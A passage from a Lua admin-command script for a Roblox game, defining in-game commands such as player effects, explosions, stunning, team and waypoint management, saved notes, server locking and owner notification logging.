7630 if Player.Character and Player.Character:FindFirstChild("Torso") then
7631 local Sparkles = Instance.new("Sparkles", Player.Character.Torso) table.insert(Objects, Sparkles)
7632 end
7633 end
7634 end};
7635
7636 [{"fire"}] = {"player", "Makes player catch on fire", 1, "Member", false, function(Speaker, Rank, Arguments)
7637 local Players = STRING:Scan(Arguments[1], Speaker)
7638 for _,Player in pairs(Players) do
7639 if Player.Character and Player.Character:FindFirstChild("Torso") then
7640 local Fire = Instance.new("Fire", Player.Character.Torso) table.insert(Objects, Fire)
7641 end
7642 end
7643 end};
7644
7645 [{"smoke"}] = {"player", "Adds a sparkling effect to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7646 local Players = STRING:Scan(Arguments[1], Speaker)
7647 for _,Player in pairs(Players) do
7648 if Player.Character and Player.Character:FindFirstChild("Torso") then
7649 local Smoke = Instance.new("Smoke", Player.Character.Torso) table.insert(Objects, Smoke)
7650 end
7651 end
7652 end};
7653
7654 [{"nosparkles", "nosparks", "unsparkles", "unsparks"}] = {"player", "Removes any sparkling effects to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7655 local Players = STRING:Scan(Arguments[1], Speaker)
7656 for _,Player in pairs(Players) do
7657 if Player.Character and Player.Character:FindFirstChild("Torso") then
7658 for _,Get in pairs(Player.Character.Torso:GetChildren()) do
7659 if Get:IsA("Sparkles") then
7660 Get:Destroy()
7661 end
7662 end
7663 end
7664 end
7665 end};
7666
7667 [{"nofire", "unfire"}] = {"player", "Removes player's fire effects", 1, "Member", false, function(Speaker, Rank, Arguments)
7668 local Players = STRING:Scan(Arguments[1], Speaker)
7669 for _,Player in pairs(Players) do
7670 if Player.Character and Player.Character:FindFirstChild("Torso") then
7671 for _,Get in pairs(Player.Character.Torso:GetChildren()) do
7672 if Get:IsA("Fire") then
7673 Get:Destroy()
7674 end
7675 end
7676 end
7677 end
7678 end};
7679
7680 [{"nosmoke", "unsmoke"}] = {"player", "Removes player's smoke effects", 1, "Member", false, function(Speaker, Rank, Arguments)
7681 local Players = STRING:Scan(Arguments[1], Speaker)
7682 for _,Player in pairs(Players) do
7683 if Player.Character and Player.Character:FindFirstChild("Torso") then
7684 for _,Get in pairs(Player.Character.Torso:GetChildren()) do
7685 if Get:IsA("Smoke") then
7686 Get:Destroy()
7687 end
7688 end
7689 end
7690 end
7691 end};
7692
7693 [{"explode", "explosion"}] = {"player", "Explodes player and everything around player", 1, "Member", false, function(Speaker, Rank, Arguments)
7694 local Players = STRING:Scan(Arguments[1], Speaker)
7695 for _,Player in pairs(Players) do
7696 if Player.Character and Player.Character:FindFirstChild("Torso") then
7697 SOUND:MakeSound(Player.Character.Torso, 187137543, 1, 1, false):Play()
7698 local Boom = Instance.new("Explosion", Workspace)
7699 Boom.Position = Player.Character.Torso.Position
7700 end
7701 end
7702 end};
7703
7704 [{"splode", "smite"}] = {"player", "Explodes player 50 times and everything around player", 1, "Member", false, function(Speaker, Rank, Arguments)
7705 local Players = STRING:Scan(Arguments[1], Speaker)
7706 for _,Player in pairs(Players) do
7707 if Player.Character and Player.Character:FindFirstChild("Torso") then
7708 coroutine.wrap(function() for i = 1,50 do
7709 local Boom = Instance.new("Explosion", Workspace)
7710 Boom.Position = Player.Character.Torso.Position
7711 wait()
7712 end end)()
7713 coroutine.wrap(function() for i = 1,5 do
7714 SOUND:MakeSound(Player.Character.Torso, 187137543, 1, 1, false):Play()
7715 end end)()
7716 end
7717 end
7718 end};
7719
7720 [{"superjump", "nograv", "lowgrav"}] = {"player", "Enables player to be able to jump super high", 1, "Member", false, function(Speaker, Rank, Arguments)
7721 local Players = STRING:Scan(Arguments[1], Speaker)
7722 for _,Player in pairs(Players) do
7723 if Player.Character and Player.Character:FindFirstChild("Torso") then
7724 local Force = Player.Character.Torso:FindFirstChild("LMM SJ") if Force then Force:Destroy() end
7725 Force = Instance.new("BodyForce", Player.Character.Torso) Force.Name = "LMM SJ" Force.force = Vector3.new(0,0,0)
7726 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj) Force.force = Force.force + Vector3.new(0,Obj:GetMass() * 150,0) end)
7727 end
7728 end
7729 end};
7730
7731 [{"normaljump", "grav", "nosuperjump", "unsuperjump"}] = {"player", "Disables player to be able to jump super high", 1, "Member", false, function(Speaker, Rank, Arguments)
7732 local Players = STRING:Scan(Arguments[1], Speaker)
7733 for _,Player in pairs(Players) do
7734 if Player.Character and Player.Character:FindFirstChild("Torso") then
7735 local Force = Player.Character.Torso:FindFirstChild("LMM SJ") if Force then Force:Destroy() end
7736 end
7737 end
7738 end};
7739
7740 [{"punish"}] = {"player", "Punishes player by removing player's character", 1, "Member", false, function(Speaker, Rank, Arguments)
7741 local Players = STRING:Scan(Arguments[1], Speaker)
7742 for _,Player in pairs(Players) do
7743 if Player.Character then
7744 Player.Character.Parent = Server.Lighting
7745 end
7746 end
7747 end};
7748
7749 [{"nopunish", "unpunish"}] = {"player", "Undoes the punish effect on player", 1, "Member", false, function(Speaker, Rank, Arguments)
7750 local Players = STRING:Scan(Arguments[1], Speaker)
7751 for _,Player in pairs(Players) do
7752 if Player.Character then
7753 Player.Character.Parent = Server.Workspace
7754 Player.Character:MakeJoints()
7755 end
7756 end
7757 end};
7758
7759 [{"stun", "platformstand"}] = {"player", "Stuns player so he cannot move", 1, "Member", false, function(Speaker, Rank, Arguments)
7760 local Players = STRING:Scan(Arguments[1], Speaker)
7761 for _,Player in pairs(Players) do
7762 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7763 Player.Character.Humanoid.PlatformStand = true
7764 end
7765 end
7766 end};
7767
7768 [{"nostun", "unstun", "noplatformstand", "unplatformstand", "stand"}] = {"player", "Undoes the stun effect on player", 1, "Member", false, function(Speaker, Rank, Arguments)
7769 local Players = STRING:Scan(Arguments[1], Speaker)
7770 for _,Player in pairs(Players) do
7771 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7772 Player.Character.Humanoid.PlatformStand = false
7773 end
7774 end
7775 end};
7776
7777 [{"jump"}] = {"player", "Makes player jump", 1, "Member", false, function(Speaker, Rank, Arguments)
7778 local Players = STRING:Scan(Arguments[1], Speaker)
7779 for _,Player in pairs(Players) do
7780 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7781 Player.Character.Humanoid.Jump = true
7782 end
7783 end
7784 end};
7785
7786 [{"sit", "sitdown"}] = {"player", "Makes player sit down", 1, "Member", false, function(Speaker, Rank, Arguments)
7787 local Players = STRING:Scan(Arguments[1], Speaker)
7788 for _,Player in pairs(Players) do
7789 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7790 Player.Character.Humanoid.Sit = true
7791 end
7792 end
7793 end};
7794
7795 [{"nosit", "unsit", "nositdown", "unsitdown", "stand", "standup"}] = {"player", "Makes player stand up if sitting down", 1, "Member", false, function(Speaker, Rank, Arguments)
7796 local Players = STRING:Scan(Arguments[1], Speaker)
7797 for _,Player in pairs(Players) do
7798 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7799 Player.Character.Humanoid.Sit = false
7800 end
7801 end
7802 end};
7803
7804 [{"spin", "turn", "spinaround"}] = {"player", "Makes player spin around", 1, "Member", false, function(Speaker, Rank, Arguments)
7805 local Players = STRING:Scan(Arguments[1], Speaker)
7806 for _,Player in pairs(Players) do
7807 if Player.Character and Player.Character:FindFirstChild("Torso") then
7808 local Spin = Instance.new("BodyAngularVelocity", Player.Character.Torso) Spin.Name = "MML Spin" Spin.maxTorque = Vector3.new(0, math.huge, 0) Spin.angularvelocity = Vector3.new(0,20,0)
7809 end
7810 end
7811 end};
7812
7813 [{"nospin", "unspin", "noturn", "unturn", "nospinaround", "unspinaround"}] = {"player", "Stops player from spinning around", 1, "Member", false, function(Speaker, Rank, Arguments)
7814 local Players = STRING:Scan(Arguments[1], Speaker)
7815 for _,Player in pairs(Players) do
7816 if Player.Character and Player.Character:FindFirstChild("Torso") then
7817 local Spin = Player.Character.Torso:FindFirstChild("MML Spin") if Spin then Spin:Destroy() end
7818 end
7819 end
7820 end};
7821
7822 [{"port"}] = {"", "Gets the server network port", 0, "Owner", false, function(Speaker, Rank, Arguments)
7823 GUI:SendMessage(Speaker, "Server Port", "The server port for this server is: "..Server.NS.Port, "Information")
7824 end};
7825
7826 [{"chat"}] = {"player (color) string", "Makes player chat string. If color is available the color will be set to it", 2, "Member", false, function(Speaker, Rank, Arguments)
7827 local Color = "Blue"
7828 local String = Arguments[2]
7829 local ChatSplit = STRING:GetSplit(String, 1, Settings.Bet)
7830 if #ChatSplit >= 2 then
7831 if string.lower(ChatSplit[1]) == "green" then
7832 Color = "Green"
7833 String = ChatSplit[2]
7834 elseif string.lower(ChatSplit[1]) == "red" then
7835 Color = "Red"
7836 String = ChatSplit[2]
7837 end
7838 end
7839 local Players = STRING:Scan(Arguments[1], Speaker)
7840 for _,Player in pairs(Players) do
7841 if Player.Character and Player.Character:FindFirstChild("Head") then
7842 game:GetService("Chat"):Chat(Player.Character.Head, STRING:DetermineFilter(String, Speaker, Player), Color)
7843 end
7844 end
7845 end};
7846
7847 [{"missile", "mis", "rocket"}] = {"player", "Turns player into a missile. Use with care!", 1, "Admin", true, function(Speaker, Rank, Arguments)
7848 local Players = STRING:Scan(Arguments[1], Speaker)
7849 for _,Player in pairs(Players) do
7850 if Player.Character then
7851 CORE:ExecuteResource("Missile", Player.Character, {["Color"] = GUI:GetColor()})
7852 end
7853 end
7854 end};
7855
7856 [{"face"}] = {"player num(ID)", "Changes player's faces player num(ID) (must be decal/image)", 2, "Member", false, function(Speaker, Rank, Arguments)
7857 local Players = STRING:Scan(Arguments[1], Speaker)
7858 local ID = nil
7859 if tonumber(Arguments[2]) ~= nil then
7860 ID = MARKET:GetImageFormat(tonumber(Arguments[2]))
7861 else
7862 for FaceTable,FaceID in pairs({[{":3", "=3", ";3"}] = "45448697", [{":D", "=D", ";D"}] = "40528907", [{"D:", "D=", "D;"}] = "147285493", [{":(", "=(", ";(", "):", ")=", ");"}] = "67493660", [{":)", "=)", ";)", "(:", "(=", "(;"}] = "41420967", [{":o", "=o", ";o", "o:", "o=", "o;", ":0", "=0", ";0", "0:", "0=", "0;"}] = "14995229", [{":P", "=P", ";P"}] = "35853859", [{":/", "=/", ";/", "/:", "/=", "/;", [[:\]], [[=\]], [[;\]], [[\:]], [[\=]], [[\;]]}] = "141764028", [{":I", "=I", ";I", "I:", "I=", "I;", ":|", "=|", ";|", "|:", "|=", "|;"}] = "14922431"}) do
7863 for _,Face in pairs(FaceTable) do
7864 if string.lower(Arguments[2]) == string.lower(Face) then
7865 ID = FaceID
7866 break
7867 end
7868 end
7869 end
7870 end
7871 if ID then
7872 for _,Player in pairs(Players) do
7873 if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
7874 Player.Character.Head.face.Texture = "rbxassetid://"..ID
7875 pcall(function() Player.Character.Label:GetChildren()[1].Head.Texture = "rbxassetid://"..ID end)
7876 end
7877 end
7878 end
7879 end};
7880
7881 [{"overlay", "ol"}] = {"player num(ID)", "Turns player's head into a 2D images of num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7882 local Players = STRING:Scan(Arguments[1], Speaker)
7883 local ID = MARKET:GetImageFormat(tonumber(Arguments[2]))
7884 for _,Player in pairs(Players) do
7885 if Player.Character and Player.Character:FindFirstChild("Head") then
7886 local BB = Player.Character.Head:FindFirstChild("MMLA Overlay") if BB then BB:Destroy() end
7887 BB = Instance.new("BillboardGui", Player.Character.Head) BB.Name = "MMLA Overlay" BB.AlwaysOnTop = true BB.Size = UDim2.new(1,0,1,0) BB.Adornee = Player.Character.Head
7888 local Image = Instance.new("ImageLabel", BB) Image.BackgroundTransparency = 1 Image.Image = "rbxassetid://"..ID Image.Position = UDim2.new(-0.5,0,-0.5,0) Image.Size = UDim2.new(2,0,2,0)
7889 end
7890 end
7891 end};
7892
7893 [{"nooverlay", "unoverlay", "nool", "unol"}] = {"player", "Removes any overlay on player's head from the overlay command", 1, "Member", false, function(Speaker, Rank, Arguments)
7894 local Players = STRING:Scan(Arguments[1], Speaker)
7895 for _,Player in pairs(Players) do
7896 if Player.Character and Player.Character:FindFirstChild("Head") then
7897 local BB = Player.Character.Head:FindFirstChild("MMLA Overlay") if BB then BB:Destroy() end
7898 end
7899 end
7900 end};
7901
7902 [{"notify"}] = {"string", "Sends string as a packet to the owner remotely", 1, "Admin", false, function(Speaker, Rank, Arguments)
7903 REMOTE:SendHttpLog(Speaker.Name.." Sent Notification: "..Arguments[1], "NOTIFICATION", Speaker)
7904 end, Http = true};
7905
7906 [{"downloadlogs", "downloadhttplogs", "getlogs", "gethttplogs"}] = {"", "Downloads http logs sent by all admins using RemoteAdmin with a DataKey from the Linked Account", 0, "Admin", false, function(Speaker, Rank, Arguments)
7907 GUI:ListGui(Speaker, "Http Logs", CORE:ReverseTable(REMOTE:DownloadUserdata(false).Logs), "Log")
7908 end, Http = true};
7909
7910 [{"note"}] = {"player string", "Saves string to player to all servers", 2, "Admin", false, function(Speaker, Rank, Arguments)
7911 local Players = STRING:Scan(Arguments[1], Speaker)
7912 for _,Player in pairs(Players) do
7913 local ExistingData = Player:LoadInstance("Data")
7914 if ExistingData == nil then
7915 ExistingData = Instance.new("Configuration")
7916 end
7917 ExistingData.Name = "Player Data"
7918 local Key = Instance.new("Configuration", ExistingData)
7919 Key.Name = Arguments[2]
7920 Player:SaveInstance("Data", ExistingData)
7921 end
7922 end};
7923
7924 [{"removenote", "noteremove"}] = {"player string", "Removes any note starting with string", 2, "Admin", false, function(Speaker, Rank, Arguments)
7925 local Players = STRING:Scan(Arguments[1], Speaker)
7926 local Data = Arguments[2]
7927 for _,Player in pairs(Players) do
7928 local ExistingData = Player:LoadInstance("Data")
7929 if ExistingData ~= nil then
7930 if string.lower(Data) == "all" then
7931 ExistingData:ClearAllChildren()
7932 else
7933 for _,DataObj in pairs(ExistingData:GetChildren()) do
7934 if string.sub(string.lower(DataObj.Name),1,#Data) == string.lower(Data) then
7935 DataObj:Destroy()
7936 end
7937 end
7938 end
7939 end
7940 Player:SaveInstance("Data", ExistingData)
7941 end
7942 end};
7943
7944 [{"shownotes", "shownote", "loadnotes", "loadnote", "notes", "getnotes", "getnote"}] = {"player", "Shows the saved notes of player", 1, "Member", false, function(Speaker, Rank, Arguments)
7945 local Players = STRING:Scan(Arguments[1], Speaker)
7946 local DataSet = {}
7947 for _,Player in pairs(Players) do
7948 local ExistingData = Player:LoadInstance("Data")
7949 if ExistingData ~= nil then
7950 if #ExistingData:GetChildren() ~= 0 then
7951 for _,Data in pairs(ExistingData:GetChildren()) do
7952 table.insert(DataSet, Player.Name..": "..Data.Name)
7953 end
7954 else
7955 table.insert(DataSet, "Data does not exist for "..Player.Name)
7956 end
7957 else
7958 table.insert(DataSet, "Data does not exist for "..Player.Name)
7959 end
7960 end
7961 GUI:ListGui(Speaker, "Notes", DataSet)
7962 end};
7963
7964 [{"forwards", "forward"}] = {"player", "Makes player walk forward at normal walkspeed", 1, "Member", false, function(Speaker, Rank, Arguments)
7965 local Players = STRING:Scan(Arguments[1], Speaker)
7966 for _,Player in pairs(Players) do
7967 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7968 Player.Character.Humanoid.WalkSpeed = 16
7969 end
7970 end
7971 end};
7972
7973 [{"backwards", "backward"}] = {"player", "Makes player walk backwards(reverse keys) at normal walkspeed", 1, "Member", true, function(Speaker, Rank, Arguments)
7974 local Players = STRING:Scan(Arguments[1], Speaker)
7975 for _,Player in pairs(Players) do
7976 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7977 Player.Character.Humanoid.WalkSpeed = -16
7978 end
7979 end
7980 end};
7981
7982 [{"teamnew", "teamcreate", "newteam", "createteam"}] = {"string", "Creates a new team named string. If a color is detected, the team color will be set to it.", 1, "Member", false, function(Speaker, Rank, Arguments)
7983 local TeamColor = BrickColor.random()
7984 local TeamName = Arguments[1]
7985 local TeamNameSplit = STRING:GetSplit(TeamName, 1, " ")
7986 if #TeamNameSplit >= 2 then
7987 local Color = TeamNameSplit[1]
7988 local NewTeamName = TeamNameSplit[2]
7989 if Color == "Medium stone grey" then
7990 TeamColor = BrickColor.new(Color)
7991 TeamName = NewTeamName
7992 elseif BrickColor.new(Color) ~= BrickColor.new("Medium stone grey") then
7993 TeamColor = BrickColor.new(Color)
7994 TeamName = NewTeamName
7995 elseif Colors[string.upper(Color)] then
7996 TeamColor = BrickColor.new(GUI:GetColor(string.upper(Color)))
7997 TeamName = NewTeamName
7998 end
7999 end
8000
8001 local NewTeam = Instance.new("Team", Server.Teams)
8002 NewTeam.TeamColor = TeamColor
8003 NewTeam.Name = TeamName
8004 end};
8005
8006 [{"leaveteam", "teamleave"}] = {"player", "Makes player be on no team", 1, "Member", false, function(Speaker, Rank, Arguments)
8007 local Players = STRING:Scan(Arguments[1], Speaker)
8008 for _,Player in pairs(Players) do
8009 Player.Neutral = true
8010 end
8011 end};
8012
8013 [{"team", "teamjoin", "jointeam"}] = {"player string", "Makes it so player joints team string", 2, "Member", false, function(Speaker, Rank, Arguments)
8014 local Players = STRING:Scan(Arguments[1], Speaker)
8015 if string.lower(Arguments[2]) == "none" then
8016 for _,Player in pairs(Players) do
8017 Player.Neutral = true
8018 end
8019 else
8020 for _,Obj in pairs(Server.Teams:GetChildren()) do
8021 if Obj:IsA("Team") then
8022 if string.sub(string.lower(Obj.Name),1,#Arguments[2]) == string.lower(Arguments[2]) then
8023 for _,Player in pairs(Players) do
8024 Player.Neutral = false
8025 Player.TeamColor = Obj.TeamColor
8026 end
8027 end
8028 end
8029 end
8030 end
8031 end};
8032
8033 [{"noteam", "unteam", "nonewteam", "unnewteam"}] = {"string", "Finds the team named string and removes it", 1, "Member", false, function(Speaker, Rank, Arguments)
8034 for _,Obj in pairs(Server.Teams:GetChildren()) do
8035 if Obj:IsA("Team") then
8036 if string.sub(string.lower(Obj.Name),1,#Arguments[1]) == string.lower(Arguments[1]) then
8037 for _,Player in pairs(Server.Players:GetPlayers()) do
8038 if Player.TeamColor == Obj.TeamColor then
8039 Player.Neutral = true
8040 end
8041 end
8042 Obj:Destroy()
8043 end
8044 end
8045 end
8046 end};
8047
8048 [{"clearteams", "cleanteams"}] = {"", "Clears all teams", 0, "Member", false, function(Speaker, Rank, Arguments)
8049 for _,Player in pairs(Server.Players:GetPlayers()) do
8050 Player.Neutral = true
8051 end
8052 for _,Obj in pairs(Server.Teams:GetChildren()) do
8053 if Obj:IsA("Team") then
8054 Obj:Destroy()
8055 end
8056 end
8057 end};
8058
8059 [{"countdown", "count", "ticker"}] = {"num", "Counts down an alarm from num", 1, "Member", false, function(Speaker, Rank, Arguments)
8060 for _,Player in pairs(Server.Players:GetPlayers()) do
8061 GUI:Countdown(Player, Arguments[1])
8062 end
8063 end};
8064
8065 [{"showad", "ad"}] = {"player", "Shows an ad to player(As of now, only people on mobile devices can see)", 1, "Admin", false, function(Speaker, Rank, Arguments)
8066 local Players = STRING:Scan(Arguments[1], Speaker)
8067 for _,Player in pairs(Players) do
8068 if Player:FindFirstChild("Backpack") then
8069 CORE:ExecuteResource("ShowAd", Player.Backpack)
8070 end
8071 end
8072 end};
8073
8074 [{"warp", "warpto"}] = {"player string", "Warps player to the point of string", 2, "Member", false, function(Speaker, Rank, Arguments)
8075 local Players = STRING:Scan(Arguments[1], Speaker)
8076 for _,Player in pairs(Players) do
8077 if Player.Character then
8078 for PosName,WP in pairs(Waypoints) do
8079 if string.sub(string.lower(PosName),1,#Arguments[2]) == string.lower(Arguments[2]) then
8080 Player.Character:MoveTo(WP + Vector3.new(0,0.5,0))
8081 break
8082 end
8083 end
8084 end
8085 end
8086 end};
8087
8088 [{"waypoint", "addwaypoint"}] = {"string num(X) num(Y) num(Z)", "Adds a waypoint to warp named string with the XYZ coordinates", 4, "Admin", false, function(Speaker, Rank, Arguments)
8089 CORE:AddWaypoint(Arguments[1], Vector3.new(Arguments[2], Arguments[3], Arguments[4]), Speaker)
8090 end};
8091
8092 [{"removewaypoint", "deletewaypoint", "destroywaypoint", "nowaypoint", "unwaypoint"}] = {"string", "Removes any waypoint named string", 1, "Member", false, function(Speaker, Rank, Arguments)
8093 local Num = 0
8094 for PosName,WP in pairs(Waypoints) do
8095 Num = Num + 1
8096 if string.sub(string.lower(PosName),1,#Arguments[1]) == Arguments[1] then
8097 Waypoints[PosName] = nil
8098 end
8099 end
8100 end};
8101
8102 [{"waypoints", "viewwaypoints", "waypointlist", "listwaypoints"}] = {"", "Views all waypoints to warp to", 0, "Member", false, function(Speaker, Rank, Arguments)
8103 local WaypointHolder,WaypointRaw = {},{}
8104 for Name, WP in pairs(Waypoints) do
8105 local View = Name..": "..tostring(WP)
8106 table.insert(WaypointHolder, View)
8107 WaypointRaw[View] = WP
8108 end
8109 local Clicked = GUI:ListGui(Speaker, "Waypoint List", WaypointHolder, "Map")
8110 Clicked.Event:connect(function(Text)
8111 local Waypoint = WaypointRaw[Text]
8112 if Waypoint then
8113 if Speaker.Character then
8114 Speaker.Character:MoveTo(Waypoint)
8115 end
8116 end
8117 end)
8118 end};
8119
8120 [{"list", "listplayer", "listplayers"}] = {"player", "Lists the player(s) in a gui list", 1, "Member", false, function(Speaker, Rank, Arguments)
8121 local Players = STRING:Scan(Arguments[1], Speaker)
8122 local List = {}
8123 for _,Player in pairs(Players) do
8124 table.insert(List, Player.Name.." (ID: "..Player.UserId..")")
8125 end
8126 GUI:ListGui(Speaker, "Listed Players", List)
8127 end};
8128
8129 [{"givepoints"}] = {"player num", "Gives num playerpoints to player", 2, "Owner", false, function(Speaker, Rank, Arguments)
8130 if tonumber(Arguments[1]) then
8131 ypcall(function() Server.PS:AwardPoints(tonumber(Arguments[1]), tonumber(Arguments[2])) end)
8132 else
8133 local Players = STRING:Scan(Arguments[1], Speaker)
8134 for _,Player in pairs(Players) do
8135 ypcall(function() Server.PS:AwardPoints(Player.UserId, tonumber(Arguments[2])) end)
8136 end
8137 end
8138 end};
8139
8140 [{"friends", "getfriends", "listfriends", "showfriends"}] = {"player", "Shows all the friends player is friends with in the server", 1, "Member", false, function(Speaker, Rank, Arguments)
8141 local Players = STRING:Scan(Arguments[1], Speaker)
8142 local Friends,OneFriend = {}, false
8143 for _,Player in pairs(Players) do
8144 for _,User in pairs(Server.Players:GetPlayers()) do if User ~= Player then
8145 --[[if Player:IsBestFriendsWith(User.UserId) then
8146 table.insert(Friends, Player.Name.." is best friends with "..User.Name)
8147 OneFriend = true
8148 ]]
8149 if Player:IsFriendsWith(User.UserId) then
8150 table.insert(Friends, Player.Name.." is friends with "..User.Name)
8151 OneFriend = true
8152 end
8153 if _ == #Server.Players:GetPlayers() and OneFriend == false then
8154 table.insert(Friends, Player.Name.." has no friends in this server (Loner)")
8155 end
8156 end end
8157 end
8158 GUI:ListGui(Speaker, "Friend List", Friends)
8159 end};
8160
8161 [{"serverlock", "lockserver"}] = {"", "Locks the server to prevent non-admins from joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
8162 Settings.ServerLocked = true
8163 GUI:MessageAdmins("Server Locked", "The server has been locked. Only admins can join at this point.", 10, "Lock")
8164 end};
8165
8166 [{"noserverlock", "unserverlock", "unlockserver", "nolockserver", "nolock", "unlock"}] = {"", "Unlocks the server to enable non-admin joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
8167 Settings.ServerLocked = false
8168 GUI:MessageAdmins("Server Unlocked", "The server has been unlocked. Anyone not banned or crashed can join", 10, 11344402)
8169 end};
8170
8171 [{"minage", "minimumage", "restrictage"}] = {" num", "Restricts any player that is younger than the age(in days) num from joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
8172 local OldAge = Settings.MinimumAge
8173 local Age = tostring(Arguments[1])
8174 if Age then
8175 Settings.MinimumAge = Age
8176 GUI:MessageAdmins("Minumum age change", "The minimum age required to join this server is now "..Age.." days old(was "..OldAge.." days old)", 10)
8177 end
8178 end};
8179
8180 [{"vipadmin", "adminvip"}] = {"", "Prompts speaker the VIP item to grant Admin level permissions", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
8181 if Settings.VIPAdminID <= 1 then
8182 MARKET:PromptPurchase(Speaker, VIPAdminID)
8183 else
8184 CORE:SendMessage(Speaker, "No Admin VIP", "The creator ("..GameOwner..") did not add a admin rank VIP to Make".."rModelLua's Admin", 7)
8185 end
8186 end};
8187
8188 [{"vipmember", "membervip"}] = {"", "Prompts speaker the VIP item to grant Member level permissions", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
8189 if Settings.VIPMemberID <= 1 then
8190 MARKET:PromptPurchase(Speaker, VIPMemberID)
8191 else
8192 CORE:SendMessage(Speaker, "No Member VIP", "The creator ("..GameOwner..") did not add a member rank VIP to Make".."rModelLua's Admin", 7)
8193 end
8194 end};
8195
8196 [{"headsize", "sizehead", "resizehead", "headresize"}] = {"player num", "Resizes player's head to num. 100 = normal size 200 = double size 50 = half size", 2, "Member", true, function(Speaker, Rank, Arguments)
8197 if tonumber(Arguments[2]) then
8198 local Players = STRING:Scan(Arguments[1], Speaker)
8199 local Size = tonumber(Arguments[2])+25
8200 for _,Player in pairs(Players) do
8201 if Player.Character then
8202 if Player.Character:FindFirstChild("Head") then
8203 if Player.Character.Head:FindFirstChild("Mesh") then
8204 Player.Character.Head.Mesh.Scale = Vector3.new(Size/100,Size/100,Size/100)
8205 end
8206 end
8207 end
8208 end
8209 end
8210 end};
8211
8212 [{"control"}] = {"player", "Allows speaker to take control of player", 1, "Member", false, function(Speaker, Rank, Arguments)
8213 local Players = STRING:Scan(Arguments[1], Speaker)
8214 for _,Player in pairs(Players) do
8215 if Player.Character and Player.Character:FindFirstChild("Torso") then
8216 CORE:ChangeCharacter(Speaker, Player.UserId, false, Speaker, true, Player.Character.Torso.Position)
8217 Player.Character.Parent = nil
8218 CORE:ExecuteResource("CameraControl", Player.Backpack, {["Speaker"] = Speaker})
8219 end
8220 end
8221 end};
8222
8223 [{"settings"}] = {"", "Shows settings to speaker. If high enough rank, the speaker can edit settings", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
8224 GUI:SettingsGui(Speaker)
8225 end};
8226
8227 [{"hasasset", "ownsasset"}] = {"player num(ID)", "Shows if player has asset num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
8228 if tonumber(Arguments[2]) then
8229 local Players = STRING:Scan(Arguments[1], Speaker)
8230 local List = {}
8231 for _,Player in pairs(Players) do
8232 if Server.MPS:PlayerOwnsAsset(Player, tonumber(Arguments[2])) then
8233 table.insert(List, Player.Name)
8234 end
8235 end
8236 GUI:ListGui(Speaker, "Players who have asset ID: "..Arguments[2], List, 23916171)
8237 end
8238 end};
8239
8240 [{"reck", "rek", "rekt", "shrekt", "wreck", "noscope", "mlg"}] = {"player", "rekts player in a haxy way", 1, "Member", true, function(Speaker, Rank, Arguments)
8241 local Players = STRING:Scan(Arguments[1], Speaker)
8242 for _,Player in pairs(Players) do
8243 if Player.Character and Player.Character:FindFirstChild("Head") then
8244 local Char = Player.Character
8245 Char:BreakJoints()
8246 CORE:ScanItems(Char, {"BasePart"}, function(Obj)
8247 Obj.Anchored = true
8248 for _,Face in pairs({"Top", "Bottom", "Right", "Left", "Front", "Back"}) do
8249 local Decal = Instance.new("Decal", Obj)
8250 Decal.Texture = "rbxassetid://178913323"
8251 Decal.Face = Face
8252 end
8253 end)
8254 local Sound1 = SOUND:MakeSound(Char.Head, 131509782, 1, 1)
8255 local Sound2 = SOUND:MakeSound(Char.Head, 179497874, 1, 1)
8256 Sound1:Play() Sound2:Play()
8257 coroutine.wrap(function()
8258 coroutine.wrap(function() wait(4.9) Sound1:Stop() Sound2:Stop() end)()
8259 repeat wait()
8260 CORE:ScanItems(Char, {"BasePart"}, function(Obj)
8261 SOUND:MakeSound(Char.Head, "rbxasset://sounds/uuhhh.mp3", 1, math.random(80,120)/100):Play()
8262 Obj.Transparency = math.random(0,30)/100
8263 Obj.Reflectance = math.random(0,50)/100
8264 Obj.CFrame = Obj.CFrame * CFrame.new(math.random(-10,10),math.random(-5,10),math.random(-10,10)) * CFrame.Angles(math.rad(math.random(0,360)),math.rad(math.random(0,360)),math.rad(math.random(0,360)))
8265 end)
8266 until Char ~= Player.Character or Char.Parent == nil
8267 end)()
8268 end
8269 end
8270 end, Hidden = true};
8271
8272 [{"define", "lookup", "definition"}] = {"string", "Looks up the word on webster's online dictionary", 1, "Member", false, function(Speaker, Rank, Arguments)
8273 GUI:SendMessage(Speaker, "Definition of "..Arguments[1], REMOTE:DefineWord(Arguments[1]), 185923691)
8274 end, Http = true};
8275
8276 [{"neon", "glow"}] = {"player", "Makes player glow like a neon light", 1, "Member", false, function(Speaker, Rank, Arguments)
8277 local Players = STRING:Scan(Arguments[1], Speaker)
8278 for _,Player in pairs(Players) do
8279 if Player.Character then
8280 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
8281 Obj.Material = "Neon"
8282 end)
8283 end
8284 end
8285 end};
8286
8287 [{"noneon", "noglow", "unneon", "unglow"}] = {"player", "Removes any glowing neon from player", 1, "Member", false, function(Speaker, Rank, Arguments)
8288 local Players = STRING:Scan(Arguments[1], Speaker)
8289 for _,Player in pairs(Players) do
8290 if Player.Character then
8291 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
8292 Obj.Material = "Plastic"
8293 end)
8294 end
8295 end
8296 end};
8297
8298 [{"asd", "swag"}] = {"player", "Makes player look like a swagger", 1, "Member", true, function(Speaker, Rank, Arguments)
8299 local Players = STRING:Scan(Arguments[1], Speaker)
8300 for _,Player in pairs(Players) do
8301 if Player.Character then
8302 CORE:ScanItems(Player.Character, {"JointInstance"}, function(Obj)
